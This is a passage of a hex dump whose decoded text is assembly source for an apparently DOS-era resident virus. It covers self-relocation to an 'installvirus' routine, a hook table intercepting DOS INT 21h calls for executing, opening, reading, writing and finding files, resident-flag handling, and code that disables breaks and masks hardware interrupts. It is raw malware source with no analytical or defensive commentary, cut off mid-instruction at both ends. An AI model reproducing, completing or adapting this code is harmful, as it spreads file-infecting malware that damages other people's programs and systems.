|00003390| 64 6f 6e 74 5f 72 65 73 | 65 74 73 74 61 63 6b 3a |dont_res|etstack:|
|000033a0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000033b0| 20 20 6d 6f 76 20 20 20 | 20 20 62 70 2c 61 78 0d |  mov   |  bp,ax.|
|000033c0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|000033d0| 20 63 61 6c 6c 20 20 20 | 20 6e 65 78 74 20 20 20 | call   | next   |
|000033e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000033f0| 20 3b 20 63 61 6c 63 75 | 6c 61 74 65 20 72 65 6c | ; calcu|late rel|
|00003400| 61 74 69 76 65 6e 65 73 | 73 0d 0a 6e 65 78 74 3a |ativenes|s..next:|
|00003410| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00003420| 20 20 70 6f 70 20 20 20 | 20 20 63 78 0d 0a 20 20 |  pop   |  cx..  |
|00003430| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 73 75 |        |      su|
|00003440| 62 20 20 20 20 20 63 78 | 2c 6f 66 66 73 65 74 20 |b     cx|,offset |
|00003450| 6e 65 78 74 20 20 20 20 | 20 20 20 20 20 20 3b 20 |next    |      ; |
|00003460| 63 78 20 3d 20 64 65 6c | 74 61 20 6f 66 66 73 65 |cx = del|ta offse|
|00003470| 74 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |t..     |        |
|00003480| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 78 2c 63 73 |   mov  |   ax,cs|
|00003490| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000034a0| 20 20 20 3b 20 61 78 20 | 3d 20 73 65 67 6d 65 6e |   ; ax |= segmen|
|000034b0| 74 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |t..     |        |
|000034c0| 20 20 20 6d 6f 76 20 20 | 20 20 20 62 78 2c 31 30 |   mov  |   bx,10|
|000034d0| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h       |        |
|000034e0| 20 20 20 3b 20 63 6f 6e | 76 65 72 74 20 74 6f 20 |   ; con|vert to |
|000034f0| 6f 66 66 73 65 74 0d 0a | 20 20 20 20 20 20 20 20 |offset..|        |
|00003500| 20 20 20 20 20 20 20 20 | 6d 75 6c 20 20 20 20 20 |        |mul     |
|00003510| 62 78 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |bx..    |        |
|00003520| 20 20 20 20 61 64 64 20 | 20 20 20 20 61 78 2c 63 |    add |    ax,c|
|00003530| 78 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x..     |        |
|00003540| 20 20 20 61 64 63 20 20 | 20 20 20 64 78 2c 30 0d |   adc  |   dx,0.|
|00003550| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00003560| 20 64 69 76 20 20 20 20 | 20 62 78 20 20 20 20 20 | div    | bx     |
|00003570| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003580| 20 3b 20 63 6f 6e 76 65 | 72 74 20 74 6f 20 73 65 | ; conve|rt to se|
|00003590| 67 3a 6f 66 66 0d 0a 20 | 20 20 20 20 20 20 20 20 |g:off.. |        |
|000035a0| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 61 |       p|ush    a|
|000035b0| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x       |        |
|000035c0| 20 20 20 20 20 20 20 3b | 20 73 65 74 20 75 70 20 |       ;| set up |
|000035d0| 73 74 61 63 6b 20 66 6f | 72 20 6a 6d 70 0d 0a 20 |stack fo|r jmp.. |
|000035e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d |        |       m|
|000035f0| 6f 76 20 20 20 20 20 61 | 78 2c 6f 66 66 73 65 74 |ov     a|x,offset|
|00003600| 20 69 6e 73 74 61 6c 6c | 76 69 72 75 73 20 20 3b | install|virus  ;|
|00003610| 20 74 6f 20 69 6e 73 74 | 61 6c 6c 76 69 72 75 73 | to inst|allvirus|
|00003620| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00003630| 20 20 70 75 73 68 20 20 | 20 20 61 78 0d 0a 20 20 |  push  |  ax..  |
|00003640| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f |        |      mo|
|00003650| 76 20 20 20 20 20 61 78 | 2c 62 70 0d 0a 20 20 20 |v     ax|,bp..   |
|00003660| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 72 65 74 |        |     ret|
|00003670| 66 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |f       |        |
|00003680| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 67 |        |     ; g|
|00003690| 6f 20 74 6f 20 69 6e 73 | 74 61 6c 6c 76 69 72 75 |o to ins|tallviru|
|000036a0| 73 0d 0a 0d 0a 69 6e 74 | 32 31 63 6f 6d 6d 61 6e |s....int|21comman|
|000036b0| 64 73 3a 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ds:..   |        |
|000036c0| 20 20 20 20 20 64 62 20 | 20 20 20 20 20 33 30 68 |     db |     30h|
|000036d0| 20 20 20 20 20 3b 20 67 | 65 74 20 44 4f 53 20 76 |     ; g|et DOS v|
|000036e0| 65 72 73 69 6f 6e 0d 0a | 20 20 20 20 20 20 20 20 |ersion..|        |
|000036f0| 20 20 20 20 20 20 20 20 | 64 77 20 20 20 20 20 20 |        |dw      |
|00003700| 6f 66 66 73 65 74 20 67 | 65 74 44 4f 53 76 65 72 |offset g|etDOSver|
|00003710| 73 69 6f 6e 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |sion..  |        |
|00003720| 20 20 20 20 20 20 64 62 | 20 20 20 20 20 20 32 33 |      db|      23|
|00003730| 68 20 20 20 20 20 3b 20 | 46 43 42 20 67 65 74 20 |h     ; |FCB get |
|00003740| 66 69 6c 65 20 73 69 7a | 65 0d 0a 20 20 20 20 20 |file siz|e..     |
|00003750| 20 20 20 20 20 20 20 20 | 20 20 20 64 77 20 20 20 |        |   dw   |
|00003760| 20 20 20 6f 66 66 73 65 | 74 20 46 43 42 67 65 74 |   offse|t FCBget|
|00003770| 66 69 6c 65 73 69 7a 65 | 0d 0a 20 20 20 20 20 20 |filesize|..      |
|00003780| 20 20 20 20 20 20 20 20 | 20 20 64 62 20 20 20 20 |        |  db    |
|00003790| 20 20 33 37 68 20 20 20 | 20 20 3b 20 67 65 74 20 |  37h   |  ; get |
|000037a0| 64 65 76 69 63 65 20 69 | 6e 66 6f 0d 0a 20 20 20 |device i|nfo..   |
|000037b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 64 77 20 |        |     dw |
|000037c0| 20 20 20 20 20 6f 66 66 | 73 65 74 20 67 65 74 5f |     off|set get_|
|000037d0| 64 65 76 69 63 65 5f 69 | 6e 66 6f 0d 0a 20 20 20 |device_i|nfo..   |
|000037e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 64 62 20 |        |     db |
|000037f0| 20 20 20 20 20 34 42 68 | 20 20 20 20 20 3b 20 65 |     4Bh|     ; e|
|00003800| 78 65 63 75 74 65 0d 0a | 20 20 20 20 20 20 20 20 |xecute..|        |
|00003810| 20 20 20 20 20 20 20 20 | 64 77 20 20 20 20 20 20 |        |dw      |
|00003820| 6f 66 66 73 65 74 20 65 | 78 65 63 75 74 65 0d 0a |offset e|xecute..|
|00003830| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003840| 64 62 20 20 20 20 20 20 | 33 43 68 20 20 20 20 20 |db      |3Ch     |
|00003850| 3b 20 63 72 65 61 74 65 | 20 66 69 6c 65 20 77 2f |; create| file w/|
|00003860| 20 68 61 6e 64 6c 65 0d | 0a 20 20 20 20 20 20 20 | handle.|.       |
|00003870| 20 20 20 20 20 20 20 20 | 20 64 77 20 20 20 20 20 |        | dw     |
|00003880| 20 6f 66 66 73 65 74 20 | 63 72 65 61 74 65 68 61 | offset |createha|
|00003890| 6e 64 6c 65 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |ndle..  |        |
|000038a0| 20 20 20 20 20 20 64 62 | 20 20 20 20 20 20 33 44 |      db|      3D|
|000038b0| 68 20 20 20 20 20 3b 20 | 6f 70 65 6e 20 66 69 6c |h     ; |open fil|
|000038c0| 65 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |e..     |        |
|000038d0| 20 20 20 64 77 20 20 20 | 20 20 20 6f 66 66 73 65 |   dw   |   offse|
|000038e0| 74 20 6f 70 65 6e 68 61 | 6e 64 6c 65 0d 0a 20 20 |t openha|ndle..  |
|000038f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 64 62 |        |      db|
|00003900| 20 20 20 20 20 20 33 45 | 68 20 20 20 20 20 3b 20 |      3E|h     ; |
|00003910| 63 6c 6f 73 65 20 66 69 | 6c 65 0d 0a 20 20 20 20 |close fi|le..    |
|00003920| 20 20 20 20 20 20 20 20 | 20 20 20 20 64 77 20 20 |        |    dw  |
|00003930| 20 20 20 20 6f 66 66 73 | 65 74 20 68 61 6e 64 6c |    offs|et handl|
|00003940| 65 63 6c 6f 73 65 66 69 | 6c 65 0d 0a 20 20 20 20 |eclosefi|le..    |
|00003950| 20 20 20 20 20 20 20 20 | 20 20 20 20 64 62 20 20 |        |    db  |
|00003960| 20 20 20 20 30 46 68 20 | 20 20 20 20 3b 20 46 43 |    0Fh |    ; FC|
|00003970| 42 20 6f 70 65 6e 20 66 | 69 6c 65 0d 0a 20 20 20 |B open f|ile..   |
|00003980| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 64 77 20 |        |     dw |
|00003990| 20 20 20 20 20 6f 66 66 | 73 65 74 20 46 43 42 6f |     off|set FCBo|
|000039a0| 70 65 6e 66 69 6c 65 0d | 0a 20 20 20 20 20 20 20 |penfile.|.       |
|000039b0| 20 20 20 20 20 20 20 20 | 20 64 62 20 20 20 20 20 |        | db     |
|000039c0| 20 31 34 68 20 20 20 20 | 20 3b 20 73 65 71 75 65 | 14h    | ; seque|
|000039d0| 6e 74 69 61 6c 20 46 43 | 42 20 72 65 61 64 0d 0a |ntial FC|B read..|
|000039e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000039f0| 64 77 20 20 20 20 20 20 | 6f 66 66 73 65 74 20 73 |dw      |offset s|
|00003a00| 65 71 75 65 6e 74 69 61 | 6c 46 43 42 72 65 61 64 |equentia|lFCBread|
|00003a10| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00003a20| 20 20 64 62 20 20 20 20 | 20 20 32 31 68 20 20 20 |  db    |  21h   |
|00003a30| 20 20 3b 20 72 61 6e 64 | 6f 6d 20 46 43 42 20 72 |  ; rand|om FCB r|
|00003a40| 65 61 64 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ead..   |        |
|00003a50| 20 20 20 20 20 64 77 20 | 20 20 20 20 20 6f 66 66 |     dw |     off|
|00003a60| 73 65 74 20 72 61 6e 64 | 6f 6d 46 43 42 72 65 61 |set rand|omFCBrea|
|00003a70| 64 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |d..     |        |
|00003a80| 20 20 20 64 62 20 20 20 | 20 20 20 32 37 68 20 20 |   db   |   27h  |
|00003a90| 20 20 20 3b 20 72 61 6e | 64 6f 6d 20 46 43 42 20 |   ; ran|dom FCB |
|00003aa0| 62 6c 6f 63 6b 20 72 65 | 61 64 0d 0a 20 20 20 20 |block re|ad..    |
|00003ab0| 20 20 20 20 20 20 20 20 | 20 20 20 20 64 77 20 20 |        |    dw  |
|00003ac0| 20 20 20 20 6f 66 66 73 | 65 74 20 72 61 6e 64 6f |    offs|et rando|
|00003ad0| 6d 46 43 42 62 6c 6f 63 | 6b 72 65 61 64 0d 0a 20 |mFCBbloc|kread.. |
|00003ae0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 64 |        |       d|
|00003af0| 62 20 20 20 20 20 20 31 | 31 68 20 20 20 20 20 3b |b      1|1h     ;|
|00003b00| 20 46 43 42 20 66 69 6e | 64 20 66 69 72 73 74 0d | FCB fin|d first.|
|00003b10| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00003b20| 20 64 77 20 20 20 20 20 | 20 6f 66 66 73 65 74 20 | dw     | offset |
|00003b30| 46 43 42 66 69 6e 64 66 | 69 72 73 74 6e 65 78 74 |FCBfindf|irstnext|
|00003b40| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00003b50| 20 20 64 62 20 20 20 20 | 20 20 31 32 68 20 20 20 |  db    |  12h   |
|00003b60| 20 20 3b 20 46 43 42 20 | 66 69 6e 64 20 6e 65 78 |  ; FCB |find nex|
|00003b70| 74 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |t..     |        |
|00003b80| 20 20 20 64 77 20 20 20 | 20 20 20 6f 66 66 73 65 |   dw   |   offse|
|00003b90| 74 20 46 43 42 66 69 6e | 64 66 69 72 73 74 6e 65 |t FCBfin|dfirstne|
|00003ba0| 78 74 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |xt..    |        |
|00003bb0| 20 20 20 20 64 62 20 20 | 20 20 20 20 34 45 68 20 |    db  |    4Eh |
|00003bc0| 20 20 20 20 3b 20 66 69 | 6c 65 6e 61 6d 65 20 66 |    ; fi|lename f|
|00003bd0| 69 6e 64 20 66 69 72 73 | 74 0d 0a 20 20 20 20 20 |ind firs|t..     |
|00003be0| 20 20 20 20 20 20 20 20 | 20 20 20 64 77 20 20 20 |        |   dw   |
|00003bf0| 20 20 20 6f 66 66 73 65 | 74 20 66 69 6c 65 6e 61 |   offse|t filena|
|00003c00| 6d 65 66 69 6e 64 66 69 | 72 73 74 6e 65 78 74 0d |mefindfi|rstnext.|
|00003c10| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00003c20| 20 64 62 20 20 20 20 20 | 20 34 46 68 20 20 20 20 | db     | 4Fh    |
|00003c30| 20 3b 20 66 69 6c 65 6e | 61 6d 65 20 66 69 6e 64 | ; filen|ame find|
|00003c40| 20 6e 65 78 74 0d 0a 20 | 20 20 20 20 20 20 20 20 | next.. |        |
|00003c50| 20 20 20 20 20 20 20 64 | 77 20 20 20 20 20 20 6f |       d|w      o|
|00003c60| 66 66 73 65 74 20 66 69 | 6c 65 6e 61 6d 65 66 69 |ffset fi|lenamefi|
|00003c70| 6e 64 66 69 72 73 74 6e | 65 78 74 0d 0a 20 20 20 |ndfirstn|ext..   |
|00003c80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 64 62 20 |        |     db |
|00003c90| 20 20 20 20 20 33 46 68 | 20 20 20 20 20 3b 20 72 |     3Fh|     ; r|
|00003ca0| 65 61 64 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ead..   |        |
|00003cb0| 20 20 20 20 20 64 77 20 | 20 20 20 20 20 6f 66 66 |     dw |     off|
|00003cc0| 73 65 74 20 68 61 6e 64 | 6c 65 72 65 61 64 0d 0a |set hand|leread..|
|00003cd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003ce0| 64 62 20 20 20 20 20 20 | 34 30 68 20 20 20 20 20 |db      |40h     |
|00003cf0| 3b 20 77 72 69 74 65 0d | 0a 20 20 20 20 20 20 20 |; write.|.       |
|00003d00| 20 20 20 20 20 20 20 20 | 20 64 77 20 20 20 20 20 |        | dw     |
|00003d10| 20 6f 66 66 73 65 74 20 | 68 61 6e 64 6c 65 77 72 | offset |handlewr|
|00003d20| 69 74 65 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ite..   |        |
|00003d30| 20 20 20 20 20 64 62 20 | 20 20 20 20 20 34 32 68 |     db |     42h|
|00003d40| 20 20 20 20 20 3b 20 6d | 6f 76 65 20 66 69 6c 65 |     ; m|ove file|
|00003d50| 20 70 6f 69 6e 74 65 72 | 0d 0a 20 20 20 20 20 20 | pointer|..      |
|00003d60| 20 20 20 20 20 20 20 20 | 20 20 64 77 20 20 20 20 |        |  dw    |
|00003d70| 20 20 6f 66 66 73 65 74 | 20 68 61 6e 64 6c 65 6d |  offset| handlem|
|00003d80| 6f 76 65 66 69 6c 65 70 | 6f 69 6e 74 65 72 0d 0a |ovefilep|ointer..|
|00003d90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003da0| 64 62 20 20 20 20 20 20 | 35 37 68 20 20 20 20 20 |db      |57h     |
|00003db0| 3b 20 67 65 74 2f 73 65 | 74 20 66 69 6c 65 20 74 |; get/se|t file t|
|00003dc0| 69 6d 65 2f 64 61 74 65 | 0d 0a 20 20 20 20 20 20 |ime/date|..      |
|00003dd0| 20 20 20 20 20 20 20 20 | 20 20 64 77 20 20 20 20 |        |  dw    |
|00003de0| 20 20 6f 66 66 73 65 74 | 20 67 65 74 73 65 74 66 |  offset| getsetf|
|00003df0| 69 6c 65 74 69 6d 65 64 | 61 74 65 0d 0a 20 20 20 |iletimed|ate..   |
|00003e00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 64 62 20 |        |     db |
|00003e10| 20 20 20 20 20 34 38 68 | 20 20 20 20 20 3b 20 61 |     48h|     ; a|
|00003e20| 6c 6c 6f 63 61 74 65 20 | 6d 65 6d 6f 72 79 0d 0a |llocate |memory..|
|00003e30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003e40| 64 77 20 20 20 20 20 20 | 6f 66 66 73 65 74 20 61 |dw      |offset a|
|00003e50| 6c 6c 6f 63 61 74 65 6d | 65 6d 6f 72 79 0d 0a 65 |llocatem|emory..e|
|00003e60| 6e 64 63 6f 6d 6d 61 6e | 64 73 3a 0d 0a 0d 0a 6f |ndcomman|ds:....o|
|00003e70| 74 68 65 72 69 6e 74 32 | 31 3a 0d 0a 20 20 20 20 |therint2|1:..    |
|00003e80| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 6d 70 20 |        |    cmp |
|00003e90| 20 20 20 20 61 78 2c 34 | 42 30 30 68 20 20 20 20 |    ax,4|B00h    |
|00003ea0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 65 78 |        |    ; ex|
|00003eb0| 65 63 75 74 65 3f 0d 0a | 20 20 20 20 20 20 20 20 |ecute?..|        |
|00003ec0| 20 20 20 20 20 20 20 20 | 6a 6e 7a 20 20 20 20 20 |        |jnz     |
|00003ed0| 6e 6f 74 65 78 65 63 75 | 74 65 0d 0a 20 20 20 20 |notexecu|te..    |
|00003ee0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|00003ef0| 20 20 20 20 63 73 3a 63 | 68 65 63 6b 72 65 73 2c |    cs:c|heckres,|
|00003f00| 61 6c 20 20 20 20 20 20 | 20 20 20 20 3b 20 63 6c |al      |    ; cl|
|00003f10| 65 61 72 20 74 68 65 20 | 72 65 73 69 64 65 6e 74 |ear the |resident|
|00003f20| 20 66 6c 61 67 0d 0a 6e | 6f 74 65 78 65 63 75 74 | flag..n|otexecut|
|00003f30| 65 3a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |e:..    |        |
|00003f40| 20 20 20 20 70 75 73 68 | 20 20 20 20 62 70 20 20 |    push|    bp  |
|00003f50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003f60| 20 20 20 20 3b 20 73 65 | 74 20 75 70 20 73 74 61 |    ; se|t up sta|
|00003f70| 63 6b 20 66 72 61 6d 65 | 0d 0a 20 20 20 20 20 20 |ck frame|..      |
|00003f80| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |        |  mov   |
|00003f90| 20 20 62 70 2c 73 70 0d | 0a 20 20 20 20 20 20 20 |  bp,sp.|.       |
|00003fa0| 20 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 |        | push   |
|00003fb0| 20 5b 62 70 2b 36 5d 20 | 20 20 20 20 20 20 20 20 | [bp+6] |        |
|00003fc0| 20 20 20 20 20 20 20 20 | 20 3b 20 70 75 73 68 20 |        | ; push |
|00003fd0| 6f 6c 64 20 66 6c 61 67 | 73 0d 0a 20 20 20 20 20 |old flag|s..     |
|00003fe0| 20 20 20 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |        |   pop  |
|00003ff0| 20 20 20 63 73 3a 69 6e | 74 32 31 66 6c 61 67 73 |   cs:in|t21flags|
|00004000| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 61 6e 64 |        |   ; and|
|00004010| 20 70 75 74 20 69 6e 20 | 76 61 72 69 61 62 6c 65 | put in |variable|
|00004020| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00004030| 20 20 70 6f 70 20 20 20 | 20 20 62 70 20 20 20 20 |  pop   |  bp    |
|00004040| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004050| 20 20 3b 20 77 68 79 3f | 0d 0a 20 20 20 20 20 20 |  ; why?|..      |
|00004060| 20 20 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |        |  push  |
|00004070| 20 20 62 70 20 20 20 20 | 20 20 20 20 20 20 20 20 |  bp    |        |
|00004080| 20 20 20 20 20 20 20 20 | 20 20 3b 20 77 68 79 3f |        |  ; why?|
|00004090| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000040a0| 20 20 6d 6f 76 20 20 20 | 20 20 62 70 2c 73 70 20 |  mov   |  bp,sp |
|000040b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000040c0| 20 20 3b 20 73 65 74 20 | 75 70 20 6e 65 77 20 73 |  ; set |up new s|
|000040d0| 74 61 63 6b 20 66 72 61 | 6d 65 0d 0a 20 20 20 20 |tack fra|me..    |
|000040e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 61 6c 6c |        |    call|
|000040f0| 20 20 20 20 73 61 76 65 | 72 65 67 73 0d 0a 20 20 |    save|regs..  |
|00004100| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 61 |        |      ca|
|00004110| 6c 6c 20 20 20 20 73 77 | 61 70 76 69 72 69 6e 74 |ll    sw|apvirint|
|00004120| 32 31 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 |21      |      ; |
|00004130| 72 65 65 6e 61 62 6c 65 | 20 44 4f 53 20 69 6e 74 |reenable| DOS int|
|00004140| 20 32 31 68 20 68 61 6e | 64 6c 65 72 0d 0a 20 20 | 21h han|dler..  |
|00004150| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 61 |        |      ca|
|00004160| 6c 6c 20 20 20 20 64 69 | 73 61 62 6c 65 42 52 45 |ll    di|sableBRE|
|00004170| 41 4b 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |AK..    |        |
|00004180| 20 20 20 20 63 61 6c 6c | 20 20 20 20 72 65 73 74 |    call|    rest|
|00004190| 6f 72 65 72 65 67 73 0d | 0a 20 20 20 20 20 20 20 |oreregs.|.       |
|000041a0| 20 20 20 20 20 20 20 20 | 20 63 61 6c 6c 20 20 20 |        | call   |
|000041b0| 20 5f 70 75 73 68 61 6c | 6c 0d 0a 20 20 20 20 20 | _pushal|l..     |
|000041c0| 20 20 20 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |        |   push |
|000041d0| 20 20 20 62 78 0d 0a 20 | 20 20 20 20 20 20 20 20 |   bx.. |        |
|000041e0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 62 |       m|ov     b|
|000041f0| 78 2c 6f 66 66 73 65 74 | 20 69 6e 74 32 31 63 6f |x,offset| int21co|
|00004200| 6d 6d 61 6e 64 73 20 3b | 20 62 78 2d 3e 63 6f 6d |mmands ;| bx->com|
|00004210| 6d 61 6e 64 20 74 61 62 | 6c 65 0d 0a 73 63 61 6e |mand tab|le..scan|
|00004220| 66 6f 72 63 6f 6d 6d 61 | 6e 64 3a 0d 0a 20 20 20 |forcomma|nd:..   |
|00004230| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 6d 70 |        |     cmp|
|00004240| 20 20 20 20 20 61 68 2c | 63 73 3a 5b 62 78 5d 20 |     ah,|cs:[bx] |
|00004250| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 73 |        |     ; s|
|00004260| 63 61 6e 20 66 6f 72 20 | 74 68 65 20 66 75 6e 63 |can for |the func|
|00004270| 74 69 6f 6e 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |tion..  |        |
|00004280| 20 20 20 20 20 20 6a 6e | 65 20 20 20 20 20 66 69 |      jn|e     fi|
|00004290| 6e 64 6e 65 78 74 63 6f | 6d 6d 61 6e 64 20 20 20 |ndnextco|mmand   |
|000042a0| 20 20 20 20 20 20 3b 20 | 63 6f 64 65 2f 73 75 62 |      ; |code/sub|
|000042b0| 72 6f 75 74 69 6e 65 20 | 63 6f 6d 62 69 6e 61 74 |routine |combinat|
|000042c0| 69 6f 6e 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ion..   |        |
|000042d0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 62 78 2c |     mov|     bx,|
|000042e0| 63 73 3a 5b 62 78 2b 31 | 5d 0d 0a 20 20 20 20 20 |cs:[bx+1|]..     |
|000042f0| 20 20 20 20 20 20 20 20 | 20 20 20 78 63 68 67 20 |        |   xchg |
|00004300| 20 20 20 62 78 2c 5b 62 | 70 2d 31 34 68 5d 0d 0a |   bx,[b|p-14h]..|
|00004310| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004320| 63 6c 64 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |cld..   |        |
|00004330| 20 20 20 20 20 72 65 74 | 6e 0d 0a 66 69 6e 64 6e |     ret|n..findn|
|00004340| 65 78 74 63 6f 6d 6d 61 | 6e 64 3a 0d 0a 20 20 20 |extcomma|nd:..   |
|00004350| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 61 64 64 |        |     add|
|00004360| 20 20 20 20 20 62 78 2c | 33 20 20 20 20 20 20 20 |     bx,|3       |
|00004370| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 67 |        |     ; g|
|00004380| 6f 20 74 6f 20 6e 65 78 | 74 20 63 6f 6d 6d 61 6e |o to nex|t comman|
|00004390| 64 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |d..     |        |
|000043a0| 20 20 20 63 6d 70 20 20 | 20 20 20 62 78 2c 6f 66 |   cmp  |   bx,of|
|000043b0| 66 73 65 74 20 65 6e 64 | 63 6f 6d 6d 61 6e 64 73 |fset end|commands|
|000043c0| 20 20 20 3b 20 69 6e 20 | 74 68 65 20 74 61 62 6c |   ; in |the tabl|
|000043d0| 65 20 75 6e 74 69 6c 0d | 0a 20 20 20 20 20 20 20 |e until.|.       |
|000043e0| 20 20 20 20 20 20 20 20 | 20 6a 62 20 20 20 20 20 |        | jb     |
|000043f0| 20 73 63 61 6e 66 6f 72 | 63 6f 6d 6d 61 6e 64 20 | scanfor|command |
|00004400| 20 20 20 20 20 20 20 20 | 20 3b 20 74 68 65 72 65 |        | ; there|
|00004410| 20 61 72 65 20 6e 6f 20 | 6d 6f 72 65 0d 0a 20 20 | are no |more..  |
|00004420| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f |        |      po|
|00004430| 70 20 20 20 20 20 62 78 | 0d 0a 65 78 69 74 6f 74 |p     bx|..exitot|
|00004440| 68 65 72 69 6e 74 32 31 | 3a 0d 0a 20 20 20 20 20 |herint21|:..     |
|00004450| 20 20 20 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 |        |   call |
|00004460| 20 20 20 72 65 73 74 6f | 72 65 42 52 45 41 4b 0d |   resto|reBREAK.|
|00004470| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00004480| 20 69 6e 20 20 20 20 20 | 20 61 6c 2c 32 31 68 20 | in     | al,21h |
|00004490| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000044a0| 20 3b 20 73 61 76 65 20 | 49 4d 52 0d 0a 20 20 20 | ; save |IMR..   |
|000044b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|000044c0| 20 20 20 20 20 63 73 3a | 73 61 76 65 49 4d 52 2c |     cs:|saveIMR,|
|000044d0| 61 6c 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |al..    |        |
|000044e0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 6c 2c 30 |    mov |    al,0|
|000044f0| 46 46 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |FFh     |        |
|00004500| 20 20 20 20 3b 20 64 69 | 73 61 62 6c 65 20 61 6c |    ; di|sable al|
|00004510| 6c 20 69 6e 74 65 72 72 | 75 70 74 73 0d 0a 20 20 |l interr|upts..  |
|00004520| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6f 75 |        |      ou|
|00004530| 74 20 20 20 20 20 32 31 | 68 2c 61 6c 0d 0a 20 20 |t     21|h,al..  |
|00004540| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f |        |      mo|
